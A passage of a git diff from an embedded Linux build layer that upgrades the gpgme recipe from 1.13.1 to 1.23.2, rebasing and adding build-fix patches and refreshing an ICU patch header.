++AC_DEFUN([AM_PATH_GPGME_PTHREAD],
+[
tmp=ifelse([$1], ,1:0.4.2,$1)
if echo "$tmp" | grep ':' >/dev/null 2>/dev/null ; then
req_gpgme_api=`echo "$tmp" | sed 's/\(.*\):\(.*\)/\1/'`
-@@ -158,38 +126,12 @@ AC_DEFUN([AM_PATH_GPGME_PTHREAD],
+@@ -248,40 +215,12 @@ AC_DEFUN([AM_PATH_GPGME_PTHREAD],[
min_gpgme_version="$tmp"
fi
- AC_MSG_CHECKING(for GPGME pthread - version >= $min_gpgme_version)
- ok=no
- if test "$GPGME_CONFIG" != "no" ; then
-- if `$GPGME_CONFIG --thread=pthread 2> /dev/null` ; then
-- req_major=`echo $min_gpgme_version | \
+- req_major=`echo $min_gpgme_version | \
- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\)/\1/'`
-- req_minor=`echo $min_gpgme_version | \
+- req_minor=`echo $min_gpgme_version | \
- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\)/\2/'`
-- req_micro=`echo $min_gpgme_version | \
+- req_micro=`echo $min_gpgme_version | \
- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\)/\3/'`
-- if test "$gpgme_version_major" -gt "$req_major"; then
+- if test "$gpgme_version_major" -gt "$req_major"; then
- ok=yes
-- else
+- else
- if test "$gpgme_version_major" -eq "$req_major"; then
-- if test "$gpgme_version_minor" -gt "$req_minor"; then
-- ok=yes
-- else
-- if test "$gpgme_version_minor" -eq "$req_minor"; then
-- if test "$gpgme_version_micro" -ge "$req_micro"; then
-- ok=yes
-- fi
+- if test "$gpgme_version_minor" -gt "$req_minor"; then
+- ok=yes
+- else
+- if test "$gpgme_version_minor" -eq "$req_minor"; then
+- if test "$gpgme_version_micro" -ge "$req_micro"; then
+- ok=yes
+- fi
+- fi
- fi
-- fi
- fi
-- fi
- fi
- fi
+ PKG_CHECK_MODULES(GPGME_PTHREAD, [gpgme-pthread >= $min_gpgme_version], [ok=yes], [ok=no])
@@ -191,17 +194,21 @@ index 6c2be44..d8a75cb 100644
# If we have a recent GPGME, we should also check that the
# API is compatible.
if test "$req_gpgme_api" -gt 0 ; then
-- tmp=`$GPGME_CONFIG --api-version 2>/dev/null || echo 0`
+- if test -z "$use_gpgrt_config"; then
+- tmp=`$GPGME_CONFIG --api-version 2>/dev/null || echo 0`
+- else
+- tmp=`$GPGME_CONFIG --variable=api_version 2>/dev/null || echo 0`
+- fi
+ tmp=`$PKG_CONFIG --variable=api_version gpgme-pthread 2>/dev/null || echo 0`
if test "$tmp" -gt 0 ; then
if test "$req_gpgme_api" -ne "$tmp" ; then
ok=no
-@@ -198,19 +140,11 @@ AC_DEFUN([AM_PATH_GPGME_PTHREAD],
+@@ -290,19 +229,11 @@ AC_DEFUN([AM_PATH_GPGME_PTHREAD],[
fi
fi
if test $ok = yes; then
-- GPGME_PTHREAD_CFLAGS=`$GPGME_CONFIG --thread=pthread --cflags`
-- GPGME_PTHREAD_LIBS=`$GPGME_CONFIG --thread=pthread --libs`
+- GPGME_PTHREAD_CFLAGS=`$GPGME_CONFIG --cflags`
+- GPGME_PTHREAD_LIBS=`$GPGME_CONFIG --libs`
- AC_MSG_RESULT(yes)
ifelse([$2], , :, [$2])
_AM_PATH_GPGME_CONFIG_HOST_CHECK
@@ -216,7 +223,7 @@ index 6c2be44..d8a75cb 100644
])
-@@ -229,36 +163,12 @@ AC_DEFUN([AM_PATH_GPGME_GLIB],
+@@ -321,36 +252,12 @@ AC_DEFUN([AM_PATH_GPGME_GLIB],
min_gpgme_version="$tmp"
fi
@@ -255,7 +262,7 @@ index 6c2be44..d8a75cb 100644
if test "$tmp" -gt 0 ; then
if test "$req_gpgme_api" -ne "$tmp" ; then
ok=no
-@@ -267,17 +177,9 @@ AC_DEFUN([AM_PATH_GPGME_GLIB],
+@@ -359,17 +266,9 @@ AC_DEFUN([AM_PATH_GPGME_GLIB],
fi
fi
if test $ok = yes; then
@@ -274,18 +281,15 @@ index 6c2be44..d8a75cb 100644
- AC_SUBST(GPGME_GLIB_LIBS)
])
diff --git a/src/gpgme.pc.in b/src/gpgme.pc.in
-index be288b8..16f56ac 100644
+index 9ddef5c..932645b 100644
--- a/src/gpgme.pc.in
+++ b/src/gpgme.pc.in
@@ -9,6 +9,6 @@ Name: gpgme
Description: GnuPG Made Easy to access GnuPG
- Requires: gpg-error, libassuan
+ Requires.private: gpg-error, libassuan
Version: @PACKAGE_VERSION@
-Cflags: @GPGME_CONFIG_CFLAGS@
-Libs: @GPGME_CONFIG_LIBS@
+Cflags: -I${includedir}
+Libs: -L${libdir} -lgpgme
URL: https://www.gnupg.org/software/gpgme/index.html
---
-2.7.4
-
diff --git a/meta/recipes-support/gpgme/gpgme/0001-posix-io.c-Use-off_t-instead-of-off64_t.patch b/meta/recipes-support/gpgme/gpgme/0001-posix-io.c-Use-off_t-instead-of-off64_t.patch
new file mode 100644
index 0000000000..be58c42128
--- /dev/null
+++ b/meta/recipes-support/gpgme/gpgme/0001-posix-io.c-Use-off_t-instead-of-off64_t.patch
@@ -0,0 +1,42 @@
+From be33cf1812b4c2a3ed85fb2532992bfb2b27b3be Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Thu, 15 Dec 2022 08:44:13 -0800
+Subject: [PATCH] posix-io.c: Use off_t instead of off64_t
+
+configure.ac checks for largefile support via AC_SYS_LARGEFILE already,
+therefore use off_t and ino_t instead of 64bit variants. Musl e.g. does
+not define them without _LARGEFILE64_SOURCE and error is not seen on
+glibc because _GNU_SOURCE defines _LARGEFILE64_SOURCE
+
+Fixes errors like below on 32-bit musl systems
+
+../../../../../../../../workspace/sources/gpgme/src/posix-io.c:77:3: error: unknown type name 'ino64_t'; did you mean 'int64_t'?
+ ino64_t d_ino;
+ ^~~~~~~
+ int64_t
+ ^
+../../../../../../../../workspace/sources/gpgme/src/posix-io.c:78:3: error: unknown type name 'off64_t'; did you mean 'off_t'?
+ off64_t d_off;
+ ^~~~~~~
+
+Upstream-Status: Submitted [https://lists.gnupg.org/pipermail/gnupg-devel/2022-December/035222.html]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/posix-io.c | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/src/posix-io.c b/src/posix-io.c
+index 0d0a98b..286a626 100644
+--- a/src/posix-io.c
++++ b/src/posix-io.c
+@@ -74,8 +74,8 @@
+ * define it ourselves. */
+ struct linux_dirent64
+ {
+- ino64_t d_ino;
+- off64_t d_off;
++ ino_t d_ino;
++ off_t d_off;
+ unsigned short d_reclen;
+ unsigned char d_type;
+ char d_name[];
diff --git a/meta/recipes-support/gpgme/gpgme/0001-use-closefrom-on-linux-and-glibc-2.34.patch b/meta/recipes-support/gpgme/gpgme/0001-use-closefrom-on-linux-and-glibc-2.34.patch
new file mode 100644
index 0000000000..3d05808d63
--- /dev/null
+++ b/meta/recipes-support/gpgme/gpgme/0001-use-closefrom-on-linux-and-glibc-2.34.patch
@@ -0,0 +1,28 @@
+From e1fc4b06dcb62e1c2d85ae99f39ef1a8860570e1 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Thu, 15 Jul 2021 12:33:13 -0700
+Subject: [PATCH] use closefrom() on linux and glibc 2.34+
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+Rebase to 1.17.0
+Signed-off-by: Wang Mingyu <wangmy@fujitsu.com>
+
+---
+ src/posix-io.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/posix-io.c b/src/posix-io.c
+index a422d8f..0d0a98b 100644
+--- a/src/posix-io.c
++++ b/src/posix-io.c
+@@ -577,7 +577,7 @@ _gpgme_io_spawn (const char *path, char *const argv[], unsigned int flags,
+ if (fd_list[i].fd > fd)
+ fd = fd_list[i].fd;
+ fd++;
+-#if defined(__sun) || defined(__FreeBSD__) || defined(__GLIBC__)
++#if defined(__sun) || defined(__FreeBSD__) || (defined(__GLIBC__) && __GNUC_PREREQ(2, 34))
+ closefrom (fd);
+ max_fds = fd;
+ #else /*!__sun */
diff --git a/meta/recipes-support/gpgme/gpgme/0002-gpgme-lang-python-gpg-error-config-should-not-be-use.patch b/meta/recipes-support/gpgme/gpgme/0002-gpgme-lang-python-gpg-error-config-should-not-be-use.patch
index ecd1793ab9..0d2692912f 100644
--- a/meta/recipes-support/gpgme/gpgme/0002-gpgme-lang-python-gpg-error-config-should-not-be-use.patch
+++ b/meta/recipes-support/gpgme/gpgme/0002-gpgme-lang-python-gpg-error-config-should-not-be-use.patch
@@ -1,7 +1,7 @@
-From 52f8fd2010b900c7d382a7c4e6c1a317d8160585 Mon Sep 17 00:00:00 2001
+From 9fce0689bc04506e5758444efa24ea99fe1ff5ef Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Fri, 10 May 2019 14:30:36 +0800
-Subject: [PATCH 2/7] gpgme/lang/python: gpg-error-config should not be used
+Subject: [PATCH] gpgme/lang/python: gpg-error-config should not be used
gpg-error-config was modified by OE to always return an error.
So we want to find an alternative way to retrieve whatever it
@@ -14,39 +14,23 @@ Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
Rebase to 1.13.0
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+
---
- lang/python/setup.py.in | 9 +--------
- 1 file changed, 1 insertion(+), 8 deletions(-)
+ lang/python/setup.py.in | 3 +--
+ 1 file changed, 1 insertion(+), 2 deletions(-)
diff --git a/lang/python/setup.py.in b/lang/python/setup.py.in
-index 9785a28..006216d 100755
+index 6f36861..1d9058b 100755
--- a/lang/python/setup.py.in
+++ b/lang/python/setup.py.in
-@@ -30,7 +30,6 @@ import subprocess
- import sys
-
- # Out-of-tree build of the gpg bindings.
--gpg_error_config = ['gpg-error-config']
- gpgme_config_flags = ['--thread=pthread']
- gpgme_config = ['gpgme-config'] + gpgme_config_flags
- gpgme_h = ''
-@@ -182,15 +181,9 @@ class BuildExtFirstHack(build):
+@@ -169,9 +169,8 @@ class BuildExtFirstHack(build):
def _generate_errors_i(self):
-- try:
-- subprocess.check_call(
-- gpg_error_config + ['--version'], stdout=devnull)
-- except:
-- sys.exit('Could not find gpg-error-config. ' +
-- 'Please install the libgpg-error development package.')
-
+- ge_cflags='@GPG_ERROR_CFLAGS@'
gpg_error_content = self._read_header(
-- 'gpg-error.h', getconfig('cflags', config=gpg_error_config))
+- 'gpg-error.h', ge_cflags.split(' ') if ge_cflags else [])
+ "gpg-error.h", os.environ.get('CFLAGS').split())
filter_re = re.compile(r'GPG_ERR_[^ ]* =')
rewrite_re = re.compile(r' *(.*) = .*')
---
-2.7.4
-
diff --git a/meta/recipes-support/gpgme/gpgme/0003-Correctly-install-python-modules.patch b/meta/recipes-support/gpgme/gpgme/0003-Correctly-install-python-modules.patch
index de1689ec05..204fe5934d 100644
--- a/meta/recipes-support/gpgme/gpgme/0003-Correctly-install-python-modules.patch
+++ b/meta/recipes-support/gpgme/gpgme/0003-Correctly-install-python-modules.patch
@@ -1,7 +1,7 @@
-From f632148fcc8757bb9a9601a6dab275e88cd309d2 Mon Sep 17 00:00:00 2001
+From 8c850aa109c42d0c193bccc7af45dbc2689b23f6 Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Tue, 30 Jan 2018 15:28:49 +0800
-Subject: [PATCH 3/7] Correctly install python modules
+Subject: [PATCH] Correctly install python modules
Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
@@ -12,15 +12,16 @@ Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
Rebase to 1.10.0
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+
---
lang/python/Makefile.am | 1 +
1 file changed, 1 insertion(+)
diff --git a/lang/python/Makefile.am b/lang/python/Makefile.am
-index 6988faf..36c6f7b 100644
+index 68b98e8..bbb9111 100644
--- a/lang/python/Makefile.am
+++ b/lang/python/Makefile.am
-@@ -93,6 +93,7 @@ install-exec-local:
+@@ -97,6 +97,7 @@ install-exec-local:
--build-base="$$(basename "$${PYTHON}")-gpg" \
install \
--prefix "$(DESTDIR)$(prefix)" \
@@ -28,6 +29,3 @@ index 6988faf..36c6f7b 100644
--verbose ; \
done
---
-2.7.4
-
diff --git a/meta/recipes-support/gpgme/gpgme/0005-gpgme-config-skip-all-lib-or-usr-lib-directories-in-.patch b/meta/recipes-support/gpgme/gpgme/0005-gpgme-config-skip-all-lib-or-usr-lib-directories-in-.patch
index 50bf21463f..7fe0c9538a 100644
--- a/meta/recipes-support/gpgme/gpgme/0005-gpgme-config-skip-all-lib-or-usr-lib-directories-in-.patch
+++ b/meta/recipes-support/gpgme/gpgme/0005-gpgme-config-skip-all-lib-or-usr-lib-directories-in-.patch
@@ -1,7 +1,7 @@
-From 8d9613c34ae495bbcbd725a2e7ac48138ba53c30 Mon Sep 17 00:00:00 2001
+From 57475742b0288b4ee53c01c59c3ab03c1ef7932e Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Thu, 13 Apr 2017 16:40:27 +0300
-Subject: [PATCH 5/7] gpgme-config: skip all /lib* or /usr/lib* directories in
+Subject: [PATCH] gpgme-config: skip all /lib* or /usr/lib* directories in
output
The logic was not working in multilib setups which use other
@@ -9,15 +9,16 @@ directory names than plain /lib or /usr/lib.
Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+
---
src/gpgme-config.in | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/src/gpgme-config.in b/src/gpgme-config.in
-index a4d152e..8342865 100644
+index 56b98f8..e96f3c3 100644
--- a/src/gpgme-config.in
+++ b/src/gpgme-config.in
-@@ -154,7 +154,7 @@ while test $# -gt 0; do
+@@ -157,7 +157,7 @@ while test $# -gt 0; do
for i in $libs $tmp_l $assuan_libs $gpg_error_libs $tmp_x; do
skip=no
case $i in
@@ -26,6 +27,3 @@ index a4d152e..8342865 100644
skip=yes
;;
-L*|-l*)
---
-2.7.4
-
diff --git a/meta/recipes-support/gpgme/gpgme/0006-fix-build-path-issue.patch b/meta/recipes-support/gpgme/gpgme/0006-fix-build-path-issue.patch
index 1471184d67..8d48db2feb 100644
--- a/meta/recipes-support/gpgme/gpgme/0006-fix-build-path-issue.patch
+++ b/meta/recipes-support/gpgme/gpgme/0006-fix-build-path-issue.patch
@@ -1,7 +1,7 @@
-From ef920688bfe1c7328c9e97229d62ccd35304ad84 Mon Sep 17 00:00:00 2001
+From 7938a5a760827aec737ea49d2f8719051abda188 Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Wed, 31 Jan 2018 11:01:09 +0800
-Subject: [PATCH 6/7] fix build path issue
+Subject: [PATCH] fix build path issue
Get the "--root" directory supplied to the "install" command,
and use it as a prefix to strip off the purported filename
@@ -12,15 +12,16 @@ to use relative path.
Upstream-Status: Submitted [gnupg-devel@gnupg.org]
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+
---
lang/python/Makefile.am | 5 +++--
1 file changed, 3 insertions(+), 2 deletions(-)
diff --git a/lang/python/Makefile.am b/lang/python/Makefile.am
-index 36c6f7b..ce9a108 100644
+index bbb9111..cee499e 100644
--- a/lang/python/Makefile.am
+++ b/lang/python/Makefile.am
-@@ -92,8 +92,9 @@ install-exec-local:
+@@ -96,8 +96,9 @@ install-exec-local:
build \
--build-base="$$(basename "$${PYTHON}")-gpg" \
install \
@@ -32,6 +33,3 @@ index 36c6f7b..ce9a108 100644
--verbose ; \
done
---
-2.7.4
-
diff --git a/meta/recipes-support/gpgme/gpgme/0007-python-Add-variables-to-tests.patch b/meta/recipes-support/gpgme/gpgme/0007-python-Add-variables-to-tests.patch
deleted file mode 100644
index 4c97f63cc2..0000000000
--- a/meta/recipes-support/gpgme/gpgme/0007-python-Add-variables-to-tests.patch
+++ /dev/null
@@ -1,52 +0,0 @@
-From 093c88817397425ee4c2333c469467229a46c9e1 Mon Sep 17 00:00:00 2001
-From: Yuan Chao <yuanc.fnst@cn.fujitsu.com>
-Date: Mon, 5 Aug 2019 01:00:58 +0900
-Subject: [PATCH 7/7] python: Add variables to tests
-
-* configure.ac, lang/python/Makefile.am:
- New variable to `lang/python', set to `lang/python' if RUN_LANG_PYTHON_TESTS
-
-Upstream-Status: Submitted [gnupg-devel@gnupg.org]
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-
-Signed-off-by: Yuan Chao <yuanc.fnst@cn.fujitsu.com>
----
- configure.ac | 5 +++++
- lang/python/Makefile.am | 3 +++
- 2 files changed, 8 insertions(+)
-
-diff --git a/configure.ac b/configure.ac
-index bd85886..b5ae42e 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -533,6 +533,11 @@ AC_ARG_ENABLE(g13-test,
- run_g13_test=$enableval)
- AM_CONDITIONAL(RUN_G13_TESTS, test "$run_g13_test" = "yes")
-
-+run_lang_python_test="yes"
-+AC_ARG_ENABLE(lang-python-test,
-+ AC_HELP_STRING([--disable-lang-python-test], [disable Python regression test]),
-+ run_lang_python_test=$enableval)
-+AM_CONDITIONAL(RUN_LANG_PYTHON_TESTS, test "$run_lang_python_test" = "yes")
-
- # Checks for header files.
- AC_CHECK_HEADERS_ONCE([locale.h sys/select.h sys/uio.h argp.h stdint.h
-diff --git a/lang/python/Makefile.am b/lang/python/Makefile.am
-index 551deee..0fd555e 100644
---- a/lang/python/Makefile.am
-+++ b/lang/python/Makefile.am
-@@ -23,7 +23,10 @@ EXTRA_DIST = \
- gpgme.i \
- helpers.c helpers.h private.h
-
-+SUBDIRS = . examples doc src
-+if RUN_LANG_PYTHON_TESTS
- SUBDIRS = . tests examples doc src
-+endif
-
- .PHONY: prepare
- prepare: copystamp
---
-2.7.4
-
diff --git a/meta/recipes-support/gpgme/gpgme/0008-do-not-auto-check-var-PYTHON.patch b/meta/recipes-support/gpgme/gpgme/0008-do-not-auto-check-var-PYTHON.patch
index 3afbfc8638..a11621ed64 100644
--- a/meta/recipes-support/gpgme/gpgme/0008-do-not-auto-check-var-PYTHON.patch
+++ b/meta/recipes-support/gpgme/gpgme/0008-do-not-auto-check-var-PYTHON.patch
@@ -1,4 +1,4 @@
-From fc3d9cc218e60582fd158d21a1cd537a3dc1b007 Mon Sep 17 00:00:00 2001
+From 84c389705e7742d2b68e144a5733e618441d293e Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Fri, 10 May 2019 16:19:54 +0800
Subject: [PATCH] do not auto check var-PYTHON
@@ -12,25 +12,24 @@ only check specific python 2.7 and 3.7
Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+
---
- configure.ac | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
+ configure.ac | 5 ++---
+ 1 file changed, 2 insertions(+), 3 deletions(-)
diff --git a/configure.ac b/configure.ac
-index cb2f073..7d74a6d 100644
+index df892c9..8c6194e 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -423,8 +423,8 @@ if test "$found_py" = "1"; then
+@@ -590,9 +590,8 @@ if test "$found_py" = "1"; then
if test "$found_py" = "1" -o "$found_py3" = "1"; then
# Reset everything, so that we can look for another Python.
m4_foreach([mym4pythonver],
-- [[2.7],[3.4],[3.5],[3.6],[3.7],[3.8],[all]],
+- [[2.7],[3.4],[3.5],[3.6],[3.7],[3.8],[3.9],[3.10],
+- [3.11],[3.12],[all]],
- [unset PYTHON
+ [[2.7],[3.7]],
+ [
unset PYTHON_VERSION
unset PYTHON_CPPFLAGS
unset PYTHON_LDFLAGS
---
-2.7.4
-
diff --git a/meta/recipes-support/gpgme/gpgme_1.13.1.bb b/meta/recipes-support/gpgme/gpgme_1.13.1.bb
deleted file mode 100644
index 9fc1ae24a4..0000000000
--- a/meta/recipes-support/gpgme/gpgme_1.13.1.bb
+++ /dev/null
@@ -1,85 +0,0 @@
-SUMMARY = "High-level GnuPG encryption/signing API"
-DESCRIPTION = "GnuPG Made Easy (GPGME) is a library designed to make access to GnuPG easier for applications. It provides a High-Level Crypto API for encryption, decryption, signing, signature verification and key management"
-HOMEPAGE = "http://www.gnupg.org/gpgme.html"
-BUGTRACKER = "https://bugs.g10code.com/gnupg/index"
-
-LICENSE = "GPLv2+ & LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
- file://COPYING.LESSER;md5=bbb461211a33b134d42ed5ee802b37ff \
- file://src/gpgme.h.in;endline=23;md5=2f0bf06d1c7dcb28532a9d0f94a7ca1d \
- file://src/engine.h;endline=22;md5=4b6d8ba313d9b564cc4d4cfb1640af9d"
-
-UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
-SRC_URI = "${GNUPG_MIRROR}/gpgme/${BP}.tar.bz2 \
- file://0001-Revert-build-Make-gpgme.m4-use-gpgrt-config-with-.pc.patch \
- file://0001-pkgconfig.patch \
- file://0002-gpgme-lang-python-gpg-error-config-should-not-be-use.patch \
- file://0003-Correctly-install-python-modules.patch \
- file://0004-python-import.patch \
- file://0005-gpgme-config-skip-all-lib-or-usr-lib-directories-in-.patch \
- file://0006-fix-build-path-issue.patch \
- file://0007-python-Add-variables-to-tests.patch \
- file://0008-do-not-auto-check-var-PYTHON.patch \
- "
-
-SRC_URI[md5sum] = "198f0a908ec3cd8f0ce9a4f3a4489645"
-SRC_URI[sha256sum] = "c4e30b227682374c23cddc7fdb9324a99694d907e79242a25a4deeedb393be46"
-
-DEPENDS = "libgpg-error libassuan"
-RDEPENDS_${PN}-cpp += "libstdc++"
-
-RDEPENDS_python2-gpg += "python-unixadmin"
-RDEPENDS_python3-gpg += "python3-unixadmin"
-
-BINCONFIG = "${bindir}/gpgme-config"
-
-# Note select python2 or python3, but you can't select both at the same time
-PACKAGECONFIG ??= "python3"
-PACKAGECONFIG[python2] = ",,python swig-native,"
-PACKAGECONFIG[python3] = ",,python3 swig-native,"
-
-# Default in configure.ac: "cl cpp python qt"
-# Supported: "cl cpp python python2 python3 qt"
-# python says 'search and find python2 or python3'
-
-# Building the C++ bindings for native requires a C++ compiler with C++11
-# support. Since these bindings are currently not needed, we can disable them.
-DEFAULT_LANGUAGES = ""
-DEFAULT_LANGUAGES_class-target = "cpp"
-LANGUAGES ?= "${DEFAULT_LANGUAGES} python"
-
-PYTHON_INHERIT = "${@bb.utils.contains('PACKAGECONFIG', 'python2', 'pythonnative', '', d)}"
-PYTHON_INHERIT .= "${@bb.utils.contains('PACKAGECONFIG', 'python3', 'python3native', '', d)}"
-
-EXTRA_OECONF += '--enable-languages="${LANGUAGES}" \
- --disable-gpgconf-test \
- --disable-gpg-test \
- --disable-gpgsm-test \
- --disable-g13-test \
- --disable-lang-python-test \
-'
-
-inherit autotools texinfo binconfig-disabled pkgconfig distutils-common-base ${PYTHON_INHERIT}
-
-export PKG_CONFIG='pkg-config'
-
-BBCLASSEXTEND = "native nativesdk"
-
-PACKAGES =+ "${PN}-cpp"
-PACKAGES =. "${@bb.utils.contains('PACKAGECONFIG', 'python2', 'python2-gpg ', '', d)}"
-PACKAGES =. "${@bb.utils.contains('PACKAGECONFIG', 'python3', 'python3-gpg ', '', d)}"
-
-FILES_${PN}-cpp = "${libdir}/libgpgmepp.so.*"
-FILES_python2-gpg = "${PYTHON_SITEPACKAGES_DIR}/*"
-FILES_python3-gpg = "${PYTHON_SITEPACKAGES_DIR}/*"
-FILES_${PN}-dev += "${datadir}/common-lisp/source/gpgme/* \
- ${libdir}/cmake/* \
-"
-
-CFLAGS_append_libc-musl = " -D__error_t_defined "
-do_configure_prepend () {
- # Else these could be used in preference to those in aclocal-copy
- rm -f ${S}/m4/gpg-error.m4
- rm -f ${S}/m4/libassuan.m4
- rm -f ${S}/m4/python.m4
-}
diff --git a/meta/recipes-support/gpgme/gpgme_1.23.2.bb b/meta/recipes-support/gpgme/gpgme_1.23.2.bb
new file mode 100644
index 0000000000..d8807b3af2
--- /dev/null
+++ b/meta/recipes-support/gpgme/gpgme_1.23.2.bb
@@ -0,0 +1,82 @@
+SUMMARY = "High-level GnuPG encryption/signing API"
+DESCRIPTION = "GnuPG Made Easy (GPGME) is a library designed to make access to GnuPG easier for applications. It provides a High-Level Crypto API for encryption, decryption, signing, signature verification and key management"
+HOMEPAGE = "http://www.gnupg.org/gpgme.html"
+BUGTRACKER = "https://bugs.g10code.com/gnupg/index"
+
+LICENSE = "GPL-2.0-or-later & LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
+ file://COPYING.LESSER;md5=bbb461211a33b134d42ed5ee802b37ff \
+ file://src/gpgme.h.in;endline=23;md5=2f0bf06d1c7dcb28532a9d0f94a7ca1d \
+ file://src/engine.h;endline=22;md5=4b6d8ba313d9b564cc4d4cfb1640af9d"
+
+UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
+SRC_URI = "${GNUPG_MIRROR}/gpgme/${BP}.tar.bz2 \
+ file://0001-Revert-build-Make-gpgme.m4-use-gpgrt-config-with-.pc.patch \
+ file://0001-pkgconfig.patch \
+ file://0002-gpgme-lang-python-gpg-error-config-should-not-be-use.patch \
+ file://0003-Correctly-install-python-modules.patch \
+ file://0004-python-import.patch \
+ file://0005-gpgme-config-skip-all-lib-or-usr-lib-directories-in-.patch \
+ file://0006-fix-build-path-issue.patch \
+ file://0008-do-not-auto-check-var-PYTHON.patch \
+ file://0001-use-closefrom-on-linux-and-glibc-2.34.patch \
+ file://0001-posix-io.c-Use-off_t-instead-of-off64_t.patch \
+ file://0001-autogen.sh-remove-unknown-in-version.patch \
+ "
+
+SRC_URI[sha256sum] = "9499e8b1f33cccb6815527a1bc16049d35a6198a6c5fae0185f2bd561bce5224"
+
+PYTHON_DEPS = "${@bb.utils.contains('LANGUAGES', 'python', 'swig-native', '', d)}"
+
+DEPENDS = "libgpg-error libassuan ${PYTHON_DEPS}"
+RDEPENDS:${PN}-cpp += "libstdc++"
+
+RDEPENDS:python3-gpg += "python3-unixadmin"
+
+BINCONFIG = "${bindir}/gpgme-config"
+
+# Default in configure.ac: "cl cpp python qt"
+# Supported: "cl cpp python python2 python3 qt"
+# python says 'search and find python2 or python3'
+
+# Building the C++ bindings for native requires a C++ compiler with C++11
+# support. Since these bindings are currently not needed, we can disable them.
+DEFAULT_LANGUAGES = ""
+DEFAULT_LANGUAGES:class-target = "cpp"
+LANGUAGES ?= "${DEFAULT_LANGUAGES}"
+
+PYTHON_INHERIT = "${@bb.utils.contains('LANGUAGES', 'python', 'setuptools3-base', '', d)}"
+
+EXTRA_OECONF += '--enable-languages="${LANGUAGES}" \
+ --disable-gpgconf-test \
+ --disable-gpg-test \
+ --disable-gpgsm-test \
+ --disable-g13-test \
+'
+
+inherit autotools texinfo binconfig-disabled pkgconfig multilib_header
+inherit_defer ${PYTHON_INHERIT} python3native
+
+export PKG_CONFIG='pkg-config'
+
+BBCLASSEXTEND = "native nativesdk"
+
+PACKAGES =+ "${PN}-cpp python3-gpg"
+
+FILES:${PN}-cpp = "${libdir}/libgpgmepp.so.*"
+FILES:python3-gpg = "${PYTHON_SITEPACKAGES_DIR}/*"
+FILES:${PN}-dev += "${datadir}/common-lisp/source/gpgme/*"
+
+CFLAGS:append:libc-musl = " -D__error_t_defined "
+CACHED_CONFIGUREVARS:libc-musl = "ac_cv_sys_file_offset_bits=no"
+
+do_configure:prepend () {
+ # Else these could be used in preference to those in aclocal-copy
+ rm -f ${S}/m4/gpg-error.m4
+ rm -f ${S}/m4/libassuan.m4
+ rm -f ${S}/m4/python.m4
+}
+
+do_install:append() {
+ oe_multilib_header gpgme.h
+}
diff --git a/meta/recipes-support/icu/icu/0001-Disable-LDFLAGSICUDT-for-Linux.patch b/meta/recipes-support/icu/icu/0001-Disable-LDFLAGSICUDT-for-Linux.patch
index 2968d571bb..c0e9e2806b 100644
--- a/meta/recipes-support/icu/icu/0001-Disable-LDFLAGSICUDT-for-Linux.patch
+++ b/meta/recipes-support/icu/icu/0001-Disable-LDFLAGSICUDT-for-Linux.patch
@@ -1,4 +1,4 @@
-From 0c82d6aa02c08e41b13c83b14782bd7024e25d59 Mon Sep 17 00:00:00 2001
+From 0f4e9eee64bd4220aa4fae1ab4f7bbf10b87cd69 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Sat, 15 Feb 2014 21:06:42 +0000
Subject: [PATCH] Disable LDFLAGSICUDT for Linux
@@ -7,14 +7,14 @@ Upstream-Status: Inappropriate [ OE Configuration ]
Signed-off-by: Khem Raj <raj.khem@gmail.com>
---
- source/config/mh-linux | 2 +-
+ config/mh-linux | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/config/mh-linux b/config/mh-linux
-index 366f0cc..2689aab 100644
+index 53d6780..b622513 100644
--- a/config/mh-linux
+++ b/config/mh-linux
-@@ -21,7 +21,7 @@ LD_RPATH= -Wl,-zorigin,-rpath,'$$'ORIGIN
+@@ -23,7 +23,7 @@ LD_RPATH= -Wl,-zorigin,-rpath,'$$'ORIGIN
LD_RPATH_PRE = -Wl,-rpath,
## These are the library specific LDFLAGS
@@ -23,6 +23,3 @@ index 366f0cc..2689aab 100644
## Compiler switch to embed a library name
# The initial tab in the next line is to prevent icu-config from reading it.
---
-1.7.10.4
-
